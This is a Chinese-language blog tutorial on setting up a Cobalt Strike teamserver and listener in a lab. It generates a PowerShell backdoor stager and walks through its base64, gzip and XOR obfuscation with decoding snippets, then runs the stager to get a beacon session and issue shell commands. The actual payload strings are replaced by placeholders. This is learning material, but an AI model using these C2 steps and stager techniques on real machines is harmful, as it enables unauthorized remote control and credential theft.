每每写完一篇水文我都会默念罪过,但是转念一想,万一有人需要呢,所以我还是会厚着脸皮发出来

毕竟自己真的遇到过这些问题

启动

cs 分为服务端和客户端,客户端和服务端可以是多对多的关系,便于团队协作

服务端启动需要几个文件(版本不同需要的文件也不同)

在这里插入图片描述

设置服务端 IP 和密码,默认端口 50050(kali IP 为 43.128)

./teamserver 192.168.43.128 123456

在这里插入图片描述

客户端(物理机上运行)连接服务端,运行 exe 或 jar 文件,输入上述 IP 密码连接,默认端口 50050

在这里插入图片描述

在这里插入图片描述

图标介绍

在这里插入图片描述

设置监听

受害机器执行 cs 生成的恶意文件,就会回连到 cs,其本质就是建立一个会话连接,通过这个会话我们可以让受害机器执行命令等等

所以首先要设置监听,等待建立连接,点击耳机按钮 👆

Name设置一个名字,HTTP Hosts设置回连的IP,其它默认

在这里插入图片描述

在这里插入图片描述

主机上线

举例:生成payload

在这里插入图片描述

生成 powershell commond,勾选 x64

在这里插入图片描述

在这里插入图片描述

这应该就是 powershell 的命令,后面的应该是加密了,但是是什么加密方式?为什么能执行呢

因为我们知道,任何加密方式都要解密之后才能让程序执行,加密的乱七八糟,程序不认识,执行不了,那不废了

power shell 后门分析

encodedcommand 参数是执行 base64 加密后的 powershell 命令

在这里插入图片描述

这串字母 JABz… 结尾是两个等号 ==,也能明显看出是 base 加密,解密一下

debs64=base64.b64decode("str")
print(debs64.decode("utf-8"))

在这里插入图片描述

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("加密字符串"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

在打印为字节码时,会发现每个字符都是通过\x00 连接的,这个\x00 是不可见字符(百度的),所以不会影响脚本的解析

在这里插入图片描述

继续解密 [Convert]::FromBase64String(“加密字符串”)

在这里插入图片描述

换了很多编码都没用(base64 解码后是 byte 格式,需要 decode 为对应编码才能看懂),原来这里是使用了新的数据压缩格式 gzip,再回看一下代码,也能猜个大概

base64 解码,gzip 解压缩后就是源码,通过 IEX 执行命令执行

debs64=base64.b64decode("加密字符串")
print(gzip.decompress(debs64).decode("utf-8"))

在这里插入图片描述

其中还有一段加密字符,还是 base64,编码之后又是乱码,可以看到下面 for 函数将字符异或处理了

[Byte[]]$var_code = [System.Convert]::FromBase64String('加密字符')

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

打印一下

在这里插入图片描述

转换编码还是有很多乱码,但是有一些有用的信息,ua 和 IP 都显示出来了,下图分别是使用 gbk 和 utf-8 打印的,我们服务端的 IP 就是 192.168.43.128

byte_str = '上图结果'
result = b''
# 将字符转为byte并编码后打印
for i in byte_str.split():
    x = int(i).to_bytes(3,byteorder='little', signed=False)
    result+=x
print(result.decode("utf-8",errors="ignore")) # 忽略无法解码的字符

在这里插入图片描述

更详细的就不懂了,不过大致流程清楚就可以了

每一次加密都有对应的解密,压缩对应的解压缩,函数解密,最后层层复原到原本的样子,再执行

执行后门文件 上线

将生成的 payload.txt 内的命令复制到 powershell 中执行

发现出现一台主机,就是我们的物理机(物理机和 kali 并不在同一网段)

在这里插入图片描述

右键 interact 进入 beacon,设置 sleep 为 1,因为默认是 60s 执行一次命令,做实验不需要那么慢

sleep 1

在这里插入图片描述

执行 windows 命令需要加 shell,尝试查看 IP

shell ipconfig

在这里插入图片描述

后续利用

基本就是提权和信息收集,主要目的还是获取更高权限,收集信息渗透更多主机

在这里插入图片描述

像是获取 hash,黄金票据,密码,提权…

这个需要后续慢慢学习

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐